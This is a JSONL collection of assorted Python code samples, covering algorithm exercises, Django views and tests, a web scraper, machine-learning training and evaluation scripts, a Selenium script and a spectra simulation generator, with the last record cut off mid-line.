+{"seq_id":"271184425","text":"class Solution:\r\n def combinationSum(self, candidates, target: int):\r\n ans = []\r\n # 对得到的结果sort然后判断它是否存在原来的数组\r\n def dfs(temp):\r\n if sum(temp) > target:\r\n return\r\n if sum(temp) == target:\r\n temp.sort()\r\n if temp in ans:\r\n return\r\n else:\r\n ans.append(temp)\r\n for i in candidates:\r\n dfs(temp+[i])\r\n dfs([])\r\n return ans\r\n\r\n\r\ncandidates = [2, 3, 5]\r\ntarget = 8\r\nprint(Solution().combinationSum(candidates, target))\r\n\r\n\r\n# 感悟,dfs感觉可以说是掌握了","sub_path":"Leetcode_Array/39. 组合总和.py","file_name":"39. 组合总和.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"204144411","text":"import pytest\nfrom django_swagger_utils.drf_server.exceptions import BadRequest\nfrom essentials_kit_management.presenters.presenter_implementation \\\n import PresenterImplementation\nfrom essentials_kit_management.constants.exception_messages \\\n import INVALID_VALUE_EXCEPTION\n\n\ndef test_raise_invalid_value_exception():\n #Arrange\n json_presenter = PresenterImplementation()\n expected_exception_message = INVALID_VALUE_EXCEPTION[0]\n expected_exception_res_status = INVALID_VALUE_EXCEPTION[1]\n\n #Act\n with pytest.raises(BadRequest) as exception:\n json_presenter.raise_invalid_value_exception()\n\n #Assert\n assert exception.value.message == expected_exception_message\n assert exception.value.res_status == expected_exception_res_status\n","sub_path":"essentials_kit_management/tests/presenters/test_raise_invalid_value_exception.py","file_name":"test_raise_invalid_value_exception.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"490777800","text":"__author__ = 'David'\n'''\nConsider the N-Queens problem. That is, the problem of placing N Queens on an N × N chessboard so\nthat no two Queens can attack each other. Write a program which receives N from the user,\nand prints on the output a solution to this problem.\n'''\n\ndef solveNQueens(N,board,column):\n\n if column >= N:\n return True\n '''\n print(\"in ALgo\", end=\"\")\n print(N)\n\n for i in range(4):\n print(\"keke i: \", end=\"\")\n print(i)\n '''\n\n for i in range(N):\n '''\n print(\"I : \", end=\"\")\n print(i)\n '''\n if canPlace(board,i, column, N):\n #print(\"here\")\n board[i][column] = 'Q' # update board\n #print(board)\n if solveNQueens(N,board,column+1): # try extend soln\n # can fit, go next col\n return True\n # back track\n board[i][column] = 0 # back track bit\n # cant fit, go back into loop = go next row\n return False\n\ndef canPlace(board, row, column,N):\n\n for rowIndex in range(row):\n #print(\" columnIndex in row \", end=\"\")\n #print(board[rowIndex][column])\n #print(\"colIndex: \" + str(column))\n #print(\"rowIndex: \" + str(rowIndex))\n\n if board[rowIndex][column] == 'Q':\n return False\n # check row, Queen affects entire row, [----]\n\n for columnIndex in range(column):\n #print(\" rowIndex in column \", end=\"\")\n #print(board[columnIndex][column])\n #print(\"colIndex: \" + str(column))\n #print(\"rowIndex: \" + str(row))\n\n if board[row][columnIndex] == \"Q\":\n return False\n # check column, Queen affects entire row, other way ^\n '''\n for i in range(row):\n print(\" diag \", end=\"\")\n print(board[row][column])\n if board[row][column] == \"Q\":\n return False\n # check diagonal\n row -= 1\n column -= 1\n '''\n rowHold = row\n columnHold = column\n while rowHold >0 and columnHold>0:\n '''\n print(board[row][column])\n print(\"row index : \" +str(row))\n print(\"col index : \" +str(column))\n '''\n if board[rowHold][columnHold] == \"Q\":\n print(\"False\")\n return False\n # check diag\n rowHold -= 1\n columnHold -= 1\n\n while rowHold < N and columnHold>0:\n '''\n print(board[row][column])\n print(\"row index : \" +str(row))\n print(\"col index : \" +str(column))\n '''\n if board[rowHold][columnHold] == \"Q\":\n print(\"False\")\n return False\n # check diag\n rowHold += 1\n columnHold -= 1\n\n print(board)\n return True # can place here\n\n\n\ndef setUpNQueens():\n N = int(input(\"Enter the value of N: \"))\n board = [[0]*N for i in range(N)] # make our board\n startColumn = 0\n\n result = solveNQueens(N,board,startColumn)\n if result:\n print(board)\n else:\n print(\"Didn't solve\")\n\nif __name__ == \"__main__\":\n setUpNQueens()\n","sub_path":"FIT2004-Algorithms-And-Data-Structures/Lab 11 - week 12 [x]/junk/Q4 nQueens.py","file_name":"Q4 nQueens.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"172443599","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\ndef get_site_links(site_link) -> list:\r\n \"\"\"\r\n grabs all links from a site\r\n :param site_link: site link to grab from links\r\n :return: links list\r\n \"\"\"\r\n links = []\r\n page = requests.get(site_link)\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n\r\n for link in soup.find_all('a'):\r\n link_content = link.get('href')\r\n links.append(link_content)\r\n return links\r\n\r\n\r\ndef get_story_by_link(link: str) -> str:\r\n \"\"\"\r\n gets story by link\r\n :param link: story link\r\n :return: most \"busiest\" paragraph\r\n \"\"\"\r\n page = requests.get(link)\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n content = soup.get_text()\r\n return get_story(content.strip())\r\n\r\n\r\ndef get_story(text: str) -> str:\r\n \"\"\"\r\n :param text: page content\r\n :return: most \"busiest\" paragraph\r\n \"\"\"\r\n text = text.split('\\n\\n') # split by paragraphs\r\n return max(text, key=len)\r\n\r\n","sub_path":"stories_scraper.py","file_name":"stories_scraper.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"8818059","text":"# -*- coding: utf-8 -*-\n\nimport numpy\nimport pandas as csv_manager\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\nimport scipy.sparse\nfrom scipy.sparse.linalg import svds\nfrom sklearn import model_selection\n\n\"\"\"\n TÉCNICAS\n \n1. Usuário-Item\n - Recomenda filmes que usuários com gostos semelhantes gostaram(avaliações parecidas)\n\n\n2. Item-Item\n - Recomenda filmes semelhantes ao filme escolhido(procura usuários que gostaram dele e de outros filmes em comum)\n\n\nOBS: Estamos fazendo a técnica #2\n\n\"\"\"\n\n# ---------------------------------------------------------- CARREGAMENTO DE BASE DE DADOS E INICIALIZAÇÃO DE VARIÁVEIS\n# Carrega os dados dos arquivos .csv\nmovies = csv_manager.read_csv('ml-latest-small/movies.csv', sep=',', header=None, names=['id', 'title', 'genres'])\nratings = csv_manager.read_csv('ml-latest-small/ratings.csv', sep=',', header=None, names=['user_id', 'movie_id', 'rating', 'timestamp'])\n\n# Quantidades\nn_movies = movies.id.unique().shape[0] # Filmes\nn_genres = movies.genres.unique().shape[0] # Gêneros\nn_users = ratings.user_id.unique().shape[0] # Usuários\nn_ratings = ratings.movie_id.unique().shape[0] # Avaliações\n\nprint(\"Filmes: \\t\" + str(n_movies) + \"\\t | \\t Gêneros diferentes: \\t\" + str(n_genres))\nprint(\"Usuários: \\t\" + str(n_users) + \"\\t\\t | \\t Filmes avaliados: \\t\\t\" + str(n_ratings))\n\n# ----------------------------------------------------------------------------------------------- TREINO SUPERVISIONADO\n# 75% Treino, 25% Teste\ntrain_data, test_data = model_selection.train_test_split(ratings, test_size=0.25) # test_size=25%\n\n# Associa os ids dos filmes com indices da matriz de treino e de teste\n# exemplo: { id_filme: 2055, index_matriz: 1616 }\n# id_filme varia NÃO sequencialmente de 1 até 164979\n# index_matriz varia sequencialmente de 0 até 9125\nmovies_id_index = {}\nfor index, movie in enumerate(movies.id.values):\n movies_id_index[str(movie)] = index\n\n# ------------------------------------------------------------------------------------------------------------ MATRIZES\n# Matriz Usuário-Item de TREINO\ntrain_data_matrix = numpy.zeros((n_users, n_movies))\nfor line in train_data.itertuples():\n train_data_matrix[line.user_id - 1, movies_id_index[str(line.movie_id)]] = line.rating\n\n# Matriz Usuário-Item de TESTE\ntest_data_matrix = numpy.zeros((n_users, n_movies))\nfor line in test_data.itertuples():\n test_data_matrix[line.user_id - 1, movies_id_index[str(line.movie_id)]] = line.rating\n\nusers_similarity = pairwise_distances(train_data_matrix, metric='cosine')\nratings_similarity = pairwise_distances(train_data_matrix.T, metric='cosine')\n\n\n# ------------------------------------------------------------------------------------------------------------ PREDIÇÃO\ndef predict(ratings, similarity, type='user'):\n somatorio = numpy.abs(similarity).sum(axis=1) # [[1.0, -3.0, 4.0]] => [[1.0, 3.0, 4.0]] => [8.0]\n return ratings.dot(similarity) / numpy.array([somatorio])\n\n\nitem_prediction = predict(train_data_matrix, ratings_similarity, type='item')\nprint(item_prediction)\n\n\n# Normaliza os votos\n# RMSE - Root Mean Squared Error\ndef rmse(prediction, ground_truth):\n prediction = prediction[ground_truth.nonzero()].flatten()\n ground_truth = ground_truth[ground_truth.nonzero()].flatten()\n\n return sqrt(mean_squared_error(prediction, ground_truth))\n\n\nu, s, vt = svds(train_data_matrix, k=5)\ns_diag_matrix= numpy.diag(s)\nX_pred = numpy.dot(numpy.dot(u, s_diag_matrix), vt)\nprint('User-based CF MSE: ' + str(rmse(X_pred, test_data_matrix)))\n\n# print('User-based CF RMSE: ' + str(rmse(user_prediction, test_data_matrix)))\n# print('Item-based CF RMSE: ' + str(rmse(item_prediction, test_data_matrix)))\n\nsparsity = round(1.0 - len(ratings) / float(n_users * n_ratings), 3)\nprint('\\nA base da dados possui esparsidade de ' + str(sparsity * 100) + '%')\n\n# ------------------------------------------------------------------------------------------------------------ ANTIGO\n# tf = TfidfVectorizer(analyzer='word', ngram_range=(1, 1), min_df=0, stop_words='english')\n# tfidf_matrix = tf.fit_transform(movies.genres)\n# print(tfidf_matrix)\n# #cosine_similarities = linear_kernel(tfidf_matrix, tfidf_matrix)\n# #cosine_similarities = cosine_similarity(tfidf_matrix, tfidf_matrix)\n# cosine_similarities = pairwise_kernels(tfidf_matrix, tfidf_matrix)\n#\n# results = {}\n#\n# for idx, row in movies.iterrows():\n# # linear-kernel\n# similar_indices = cosine_similarities[idx].argsort()[:-100:-1]\n# similar_items = [(cosine_similarities[idx][i], movies[0][i]) for i in similar_indices]\n#\n# # First item is the item itself, so remove it.\n# # Each dictionary entry is like: [(1,2), (3,4)], with each tuple being (score, item_id)\n# results[row[0]] = similar_items[1:]\n#\n# print('done!')\n#\n# # hacky little function to get a friendly item name from the description field, given an item ID\n# def item(id):\n# return movies.loc[movies[0] == id][1].tolist()[0]\n#\n# # Just reads the results out of the dictionary. No real logic here.\n# def recommend(item_id, num):\n# print(\"Recommending \" + str(num) + \" movies similar to \" + item(item_id) + \"...\")\n# print(\"-------\")\n# recs = results[item_id][:num]\n# for rec in recs:\n# print(\"Recommended: \" + item(rec[1]) + \"\\t\\t (score:\" + str(rec[0]) + \")\")\n#\n# # Just plug in any item id here (1-500), and the number of recommendations you want (1-99)\n# # You can get a list of valid item IDs by evaluating the variable 'ds', or a few are listed below\n#\n# recommend(item_id=95473, num=10)\n","sub_path":"Project_3/ml_recommend.py","file_name":"ml_recommend.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"88407678","text":"import tensorflow as tf\nimport numpy as np\nimport time\nimport math\nfrom data import batch\nfrom utils import to_spans, f_score\n\nclass Evaluator:\n \n def __init__(self, sess, model, idx2label, fscore):\n self.sess = sess\n self.model = model\n self.idx2label = idx2label\n self.fscore = fscore\n\n def _write_sentence_conll(self, handle, sentence, gold, txt):\n\n if len(txt) != len(sentence):\n txt = txt[:len(sentence)]\n\n try:\n for word, truth, guess in zip(txt, gold, sentence):\n handle.write('%s %s %s\\n' % (word, self.idx2label[truth], self.idx2label[guess]))\n handle.write('\\n')\n except:\n print('ERROR: Failed to write lines... closing file')\n handle.close()\n handle = None\n\n def _batch(self, batch, handle=None, txts=None):\n\n sentence_lengths = batch[\"length\"]\n truth = batch[\"y\"]\n guess = self.model.predict(self.sess, batch)\n correct_labels = 0\n total_labels = 0\n\n # For fscore\n gold_count = 0\n guess_count = 0\n overlap_count = 0\n \n # For each sentence\n for b in range(len(guess)):\n length = sentence_lengths[b]\n assert(length == len(guess[b]))\n sentence = guess[b]\n # truth[b] is padded, cutting at :length gives us back true length\n gold = truth[b][:length]\n correct_labels += np.sum(np.equal(sentence, gold))\n total_labels += length\n\n if self.fscore > 0:\n gold_chunks = to_spans(gold, self.idx2label)\n gold_count += len(gold_chunks)\n\n guess_chunks = to_spans(sentence, self.idx2label)\n guess_count += len(guess_chunks)\n \n overlap_chunks = gold_chunks & guess_chunks\n overlap_count += len(overlap_chunks)\n\n # Should we write a file out? If so, we have to have txts\n if handle is not None:\n idx = batch[\"id\"][b]\n txt = txts[idx]\n self._write_sentence_conll(handle, sentence, gold, txt) \n\n return correct_labels, total_labels, overlap_count, gold_count, guess_count\n\n def test(self, ts, batchsz=1, phase='Test', conll_file=None, txts=None):\n\n total_correct = total_sum = fscore = 0\n total_gold_count = total_guess_count = total_overlap_count = 0\n start_time = time.time()\n \n steps = int(math.floor(len(ts)/float(batchsz)))\n\n # Only if they provide a file and the raw txts, we can write CONLL file\n handle = None\n if conll_file is not None and txts is not None:\n handle = open(conll_file, \"w\")\n\n for i in range(steps):\n ts_i = batch(ts, i, batchsz)\n correct, count, overlaps, golds, guesses = self._batch(ts_i, handle, txts)\n total_correct += correct\n total_sum += count\n total_gold_count += golds\n total_guess_count += guesses\n total_overlap_count += overlaps\n\n duration = time.time() - start_time\n total_acc = total_correct / float(total_sum)\n\n # Only show the fscore if requested\n if self.fscore > 0:\n fscore = f_score(total_overlap_count,\n total_gold_count,\n total_guess_count,\n self.fscore)\n print('%s (F%d = %.4f) (Acc %d/%d = %.4f) (%.3f sec)' % \n (phase,\n self.fscore,\n fscore,\n total_correct,\n total_sum,\n total_acc,\n duration))\n \n else:\n print('%s (Acc %d/%d = %.4f) (%.3f sec)' %\n (phase,\n total_correct,\n total_sum, total_acc,\n duration))\n\n if handle is not None:\n handle.close()\n\n return total_acc, fscore\n\nclass Trainer:\n\n def __init__(self, sess, model, outdir, optim, eta, idx2label, clip, fscore=0):\n \n self.sess = sess\n self.outdir = outdir\n self.loss = model.create_loss()\n self.model = model\n # Own this during training\n self.evaluator = Evaluator(sess, model, idx2label, fscore)\n\n tvars = tf.trainable_variables()\n grads, _ = tf.clip_by_global_norm(tf.gradients(self.loss, tvars), clip)\n if optim == 'adadelta':\n self.optimizer = tf.train.AdadeltaOptimizer(eta, 0.95, 1e-6)\n elif optim == 'adam':\n self.optimizer = tf.train.AdamOptimizer(eta)\n else:\n self.optimizer = tf.train.MomentumOptimizer(eta, 0.9)\n\n self.global_step = tf.Variable(0, name='global_step', trainable=False)\n self.train_op = self.optimizer.apply_gradients(zip(grads, tvars),\n global_step=self.global_step)\n\n self.loss_summary = tf.summary.scalar(\"loss\", self.loss)\n self.summary_op = tf.summary.merge_all()\n self.train_writer = tf.summary.FileWriter(self.outdir + \"/train\", sess.graph)\n\n def writer(self):\n return self.train_writer\n\n def checkpoint(self, name):\n self.model.saver.save(self.sess, self.outdir + \"/train/\" + name, global_step=self.global_step)\n\n def recover_last_checkpoint(self):\n latest = tf.train.latest_checkpoint(self.outdir + \"/train/\")\n print(\"Reloading \" + latest)\n self.model.saver.restore(self.sess, latest)\n\n def train(self, ts, dropout, batchsz):\n\n start_time = time.time()\n\n steps = int(math.floor(len(ts)/float(batchsz)))\n\n shuffle = np.random.permutation(np.arange(steps))\n\n total_loss = total_err = total_sum = 0\n\n for i in range(steps):\n si = shuffle[i]\n ts_i = batch(ts, si, batchsz)\n feed_dict = self.model.ex2dict(ts_i, 1.0-dropout)\n \n _, step, summary_str, lossv = self.sess.run([self.train_op, self.global_step, self.summary_op, self.loss], feed_dict=feed_dict)\n self.train_writer.add_summary(summary_str, step)\n \n total_loss += lossv\n\n duration = time.time() - start_time\n print('Train (Loss %.4f) (%.3f sec)' % (float(total_loss)/len(ts), duration))\n\n def test(self, ts, batchsz, phase='Test', conll_file=None, txts=None):\n return self.evaluator.test(ts, batchsz, phase, conll_file, txts)\n","sub_path":"tag/python/tf/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"244808963","text":"# encoding:utf-8\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport time\n\n\"\"\"\n跳转到提示框\nswitch_to.alert.accept()\n\"\"\"\n\ndriver = webdriver.Chrome(r\"C:\\Users\\19663\\Desktop\\chromedriver.exe\")\ndriver.get(\"https://www.baidu.com\")\ntime.sleep(3)\nabove = driver.find_element_by_link_text(u\"设置\")\nActionChains(driver).move_to_element(above).perform()\ntime.sleep(1)\ndriver.find_element_by_link_text(\"搜索设置\").click()\ntime.sleep(1)\ndriver.find_element_by_id(\"sh_1\").click()\ndriver.find_element_by_link_text(u\"保存设置\").click()\n\ntime.sleep(2)\n\n# 这个功能暂时性并没有测通过\ndriver.switch_to.alert.accept()\ntime.sleep(10)\n\ndriver.close()","sub_path":"selenium_test/selenium_test_15.py","file_name":"selenium_test_15.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"162013987","text":"from modules import *\n\n#***********************************************************************\n#-------------------------------- CANDIDATE ---------------------------\n#***********************************************************************\n\n@user_passes_test(lambda u: u.is_staff)\n@login_required(login_url=\"/login\")\ndef bulk_upload_candis(request):\n logger.debug('Creating Bulk candidates and interviews')\n form = forms.BulkCreateInterviewsAndCandidates()\n round_forms = forms.RoundInLineFormSet(\n queryset=Round.objects.none()\n )\n\n if request.method == 'POST':\n form = forms.BulkCreateInterviewsAndCandidates(request.POST)\n round_forms = forms.RoundInLineFormSet(\n request.POST,\n queryset=Round.objects.none()\n )\n\n if form.is_valid() and round_forms.is_valid():\n\n names = form.cleaned_data['name_list']\n names = names.split('\\r\\n')\n\n position_id = form.cleaned_data['position'].id\n position = Position.objects.get(id=position_id)\n\n experience = form.cleaned_data['experience']\n vendor_id = form.cleaned_data['vendor'].id\n vendor = Vendor.objects.get(id=vendor_id)\n date = form.cleaned_data['date']\n\n\n #Create Candidates\n for candi in names:\n logger.debug('Creating for :%s' % candi)\n my_candi = Candidate(name=candi, position_applied=position, experience=experience, vendor=vendor)\n my_candi.save()\n logger.debug('Candidate created')\n\n my_interview = Interview(\n candidate=my_candi,\n date=date,\n position=position,\n )\n\n my_interview.save()\n\n logger.debug('Interview created')\n\n #Creating and Saving Rounds\n logger.debug('Creating Rounds')\n for int_round in round_forms:\n r = Round.objects.create(\n name = int_round.cleaned_data['name'],\n assignee = int_round.cleaned_data['assignee'],\n comments = int_round.cleaned_data['comments'],\n date = int_round.cleaned_data['date'],\n contact_time = int_round.cleaned_data['contact_time'],\n round_type= int_round.cleaned_data['round_type'],\n interview=my_interview,\n )\n for support in int_round.cleaned_data['supporting_interviewer']:\n r.supporting_interviewer.add(support)\n r.save()\n\n logger.debug('Rounds created')\n return redirect('Evaluator:all_candidates')\n else:\n args = {'form': form, 'message': 'No Valid Form'}\n return render(request, 'bulk_upload_candis.html', args)\n\n args = {'form': form, 'round_form': round_forms}\n return render(request, 'bulk_upload_candis.html', args)\n\n\n\n@user_passes_test(lambda u: u.is_staff)\n@login_required(login_url=\"/login\")\ndef add_candidate(request):\n if request.method == 'POST':\n form = forms.AddCandidateForm(request.POST)\n if form.is_valid():\n candidate = form.save(commit=False)\n candidate.name = form.cleaned_data['name']\n candidate.contact_primary = form.cleaned_data['contact_primary']\n candidate.experience = form.cleaned_data['experience']\n candidate.position_applied = form.cleaned_data['position_applied']\n candidate.save()\n for sk in form.cleaned_data['skill']:\n skill = Skill.objects.get(name=sk)\n candidate.skill.add(skill)\n\n return HttpResponseRedirect(candidate.get_absolute_url())\n else:\n form = forms.AddCandidateForm()\n args = {'form': form}\n return render(request, 'add_candidate.html', args)\n\n\n@user_passes_test(lambda u: u.is_staff)\n@login_required(login_url=\"/login\")\ndef all_candidates(request):\n candidates = Candidate.objects.get_queryset().order_by('-created_at')\n candidate_filter = CandidateFilter(request.GET, queryset=candidates)\n page = request.GET.get('page', 1)\n paginator = Paginator(candidate_filter.qs, 10)\n try:\n page_candidates = paginator.page(page)\n except PageNotAnInteger:\n page_candidates = paginator.page(1)\n except EmptyPage:\n page_candidates = paginator.page(paginator.num_pages)\n\n return render(request, 'all_candidates.html', {'candidates': page_candidates, 'filter': candidate_filter})\n\n\n@login_required(login_url=\"/login\")\n@user_passes_test(lambda u: u.is_staff)\ndef edit_candidate(request, candidate_pk):\n candidate = Candidate.objects.get(pk=candidate_pk)\n if request.method == 'POST':\n form = forms.AddCandidateForm(request.POST, instance=candidate)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(candidate.get_absolute_url())\n else:\n form = forms.AddCandidateForm(instance=candidate)\n args = {'form':form}\n return render(request, 'add_candidate.html', args)\n\n\n@login_required(login_url=\"/login\")\n@user_passes_test(lambda u: u.is_staff)\ndef candi_details(request, candidate_pk):\n candidate = Candidate.objects.get(pk=candidate_pk)\n interviews = Interview.objects.filter(candidate=candidate)\n\n # This is for showing the Upload button.\n resume_form = forms.DocumentForm()\n if request.method == 'POST':\n form = forms.DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n document = form.save(commit=False)\n document.candidate = candidate # This is because, candidate is not passed in form.POST\n document.save()\n\n # Find out if the candidate has a resume attached.\n try:\n candi_document = Document.objects.get(candidate=candidate_pk)\n except Document.DoesNotExist:\n candi_document = None\n\n\n args = {'candidate': candidate, 'interviews': interviews, 'candi_doc': candi_document, 'resume_form': resume_form}\n\n return render(request, 'details_candidate.html', args)\n","sub_path":"Evaluator/views/view_candidate.py","file_name":"view_candidate.py","file_ext":"py","file_size_in_byte":6245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"632526770","text":"#!/usr/bin/python3\n\n\"\"\"Manage configuration related to profiles.\"\"\"\n\nimport os.path\n\nimport devpipeline.config.parser\nimport devpipeline.config.paths\n\n\ndef read_all_profiles(path, profile_list, found_fn):\n \"\"\"\n Read requested profiles and provide option lists via found_fn.\n\n Arguments\n path -- a path to a profile configuration\n profile_list -- a list of profiles to query\n found_fn -- the function to call for every found profile\n \"\"\"\n count = 0\n if os.path.isfile(path):\n parser = devpipeline.config.parser.read_config(path)\n for profile in profile_list:\n if parser.has_section(profile):\n found_fn(profile, parser[profile])\n count += 1\n else:\n print(\"Warning: profile '{}' not in configuration '{}'\".format(\n profile, path))\n return count\n\n\ndef apply_profiles(config, found_fn):\n \"\"\"\n Apply profiles values during option modification.\n\n Arguments\n config -- a package configuration\n found_fn -- a function to call after loading a profile\n \"\"\"\n profile_list = config.get(\"dp.profile_name\")\n if profile_list:\n read_all_profiles(\n devpipeline.config.paths.get_profile_path(),\n devpipeline.config.config.split_list(profile_list), found_fn)\n","sub_path":"lib/devpipeline/config/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"100278807","text":"import unittest\nfrom jnpr.jsnapy import SnapAdmin\nfrom mock import patch\n\n\nclass TestModule(unittest.TestCase):\n\n def setUp(self):\n self.js = SnapAdmin()\n\n @patch('jnpr.jsnapy.SnapAdmin.extract_data')\n def test_snap(self, mock_extract_data):\n config_file = \"/configs/config_module_snap.yml\"\n snap_file = \"pre\"\n self.js.snap(config_file, snap_file)\n self.assertTrue(mock_extract_data.called)\n\n @patch('jnpr.jsnapy.SnapAdmin.extract_dev_data')\n def test_snap_dev(self, mock_extract_dev):\n config_file = \"/configs/config_module_snap.yml\"\n snap_file = \"pre\"\n self.js.snap()\n\nwith patch('logging.Logger.info') as mock_logger:\n if __name__ == \"__main__\":\n suite = unittest.TestLoader().loadTestsFromTestCase(TestModule)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","sub_path":"tests/unit/test_module.py","file_name":"test_module.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"23949535","text":"import pandas as pd\nimport numpy as np\nimport pickle\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\n\n\ndf_train = pd.read_pickle('../data/diabetes_train.pickle')\ndf_validation = pd.read_pickle('../data/diabetes_validation.pickle')\ndf = np.array(pd.concat([df_train, df_validation]))\nX = df[:, 0:-1]\nY = df[:, -1]\n\nconfig = pickle.load(open( \"../model/decision_tree_feature_selection_model.pickle\", \"rb\" ))\n\nmax_depth = config['max_depth']\nn_estimator = config['n_estimator']\n\ndt = DecisionTreeClassifier(max_depth=max_depth)\ndt.fit(X, Y)\n\nmodel = SelectFromModel(dt, prefit=True)\nX_new = model.transform(X)\n\nepoch_list = range(5, 34)\nmean_accuracy_list = []\nclf = RandomForestClassifier(max_depth=max_depth, n_estimators=n_estimator)\n\nfor epoch in epoch_list:\n mean_accuracy = 0.0\n for round in range(epoch):\n print('epoch = %d, round %d' % (epoch, round))\n clf.fit(X_new, Y)\n mean_accuracy += clf.score(X_new, Y)\n\n mean_accuracy_list.append(mean_accuracy/epoch)\n\nplt.scatter(epoch_list, mean_accuracy_list, label='mean accuracy')\nplt.legend(loc='best')\nplt.ylabel(\"mean accuracy\")\nplt.xlabel(\"epochs\")\ntitle = 'mean accuracy'\nplt.title(title)\nplt.savefig('../pic/meanAccuracy.png')\nplt.close()\n","sub_path":"model_performance.py","file_name":"model_performance.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"162370845","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep 26 09:51:51 2019\r\n\r\n@author: Chuanzhen Hu\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport spectra_process.subpys as subpys\r\nimport time\r\n\r\n################################################################################\r\n# define function for creating mixed spectra\r\ndef spectra_generator(pures, noise_level, pow_val=5, poly_enhance=1.0):\r\n ################################################################\r\n # generate random spectra coefficients, range from 0 to 1\r\n rand_coeffs = np.random.rand(1, pures.shape[0])*poly_enhance\r\n # create simulated mixed spectra\r\n f = np.matmul(rand_coeffs, pures)\r\n ###############################################################\r\n if pow_val != 0:\r\n # randomize polynomial order\r\n index = np.random.permutation(np.arange(pow_val))\r\n # create background\r\n base = subpys.myploy(index[0]+1, pures.shape[1])\r\n base = base*poly_enhance\r\n for k in range(base.shape[0]):\r\n if np.random.randn(1) <= 0:\r\n base[k, :] = np.flip(base[k, :])\r\n ################################\r\n # create baseline\r\n base_coeffs = np.random.rand(1, base.shape[0])*2 - 1\r\n baseline = np.matmul(base_coeffs, base)\r\n ################################\r\n #base_concat = np.concatenate((pures, baseline), axis=0)\r\n ################################\r\n f = f + baseline \r\n ############################################################### \r\n qtz_bg = np.mean(pures[-1, :])*(1 - rand_coeffs[0, -1])\r\n nosie = noise_level*qtz_bg*np.random.randn(1, pures.shape[1])\r\n ################################\r\n mixed_spectra = f + nosie\r\n ################################\r\n coeff = rand_coeffs[0, :(pures.shape[0])]\r\n# coeff = coeff/np.sum(coeff) # normalization\r\n \r\n return coeff, mixed_spectra\r\n################################################################################\r\ndef main(unused_argv):\r\n # load pure spectra\r\n data = np.load('./Spectra_data/my_measurement.npz')\r\n met = data['methanol_nobg']\r\n eth = data['ethanol_nobg']\r\n ace = data['acetonitrile_nobg']\r\n qtz = data['qtz_ss']\r\n wn = data['wn'][:, 0]\r\n names = data['pure_names']\r\n \r\n pures = np.reshape(np.concatenate((met, eth, ace, qtz)), (4, wn.shape[0]))\r\n pures = pures[[0, 1, 3], :]\r\n ############################################################################\r\n random_index = np.int(5e5)\r\n poly_enhance = 1.0 #10, 5\r\n noise_level = 0.02# 0.01\r\n pow_val = 6 # 6, 2\r\n # pures = pures/10\r\n ############################################################################\r\n fontsize_val = 20\r\n plt.figure(figsize=(10, 6))\r\n plt.plot(wn, np.transpose(pures[:, :]))\r\n plt.title('pure spectra', fontsize=fontsize_val)\r\n plt.xlabel('wavenumber (cm-1)', fontsize=fontsize_val)\r\n plt.ylabel('intensity (a.u.)', fontsize=fontsize_val)\r\n plt.xlim((np.min(wn), np.max(wn)))\r\n plt.grid()\r\n plt.setp(plt.gca().get_xticklabels(), fontsize=fontsize_val)\r\n plt.setp(plt.gca().get_yticklabels(), fontsize=fontsize_val)\r\n plt.ylim((np.min(pures), np.max(pures)))\r\n plt.legend(names[:pures.shape[0]-1], loc=1, fontsize=fontsize_val)\r\n plt.savefig('./output/generated/pure_spectra.png', dpi=200)\r\n plt.show()\r\n \r\n plt.figure(figsize=(10, 6))\r\n if noise_level == 0:\r\n plt.plot(wn, np.transpose(subpys.myploy(pow_val, pures.shape[1])*poly_enhance))\r\n else:\r\n plt.plot(wn, np.transpose(subpys.myploy(pow_val, pures.shape[1])*poly_enhance))\r\n plt.title('polynomial backgrounds', fontsize=fontsize_val)\r\n plt.xlabel('wavenumber (cm-1)', fontsize=fontsize_val)\r\n plt.ylabel('intensity (a.u.)', fontsize=fontsize_val)\r\n plt.xlim((np.min(wn), np.max(wn)))\r\n plt.grid()\r\n plt.setp(plt.gca().get_xticklabels(), fontsize=fontsize_val)\r\n plt.setp(plt.gca().get_yticklabels(), fontsize=fontsize_val)\r\n plt.savefig('./output/generated/polynomial_background.png', dpi=200)\r\n plt.show()\r\n ############################################################################\r\n coeff = np.zeros((random_index, 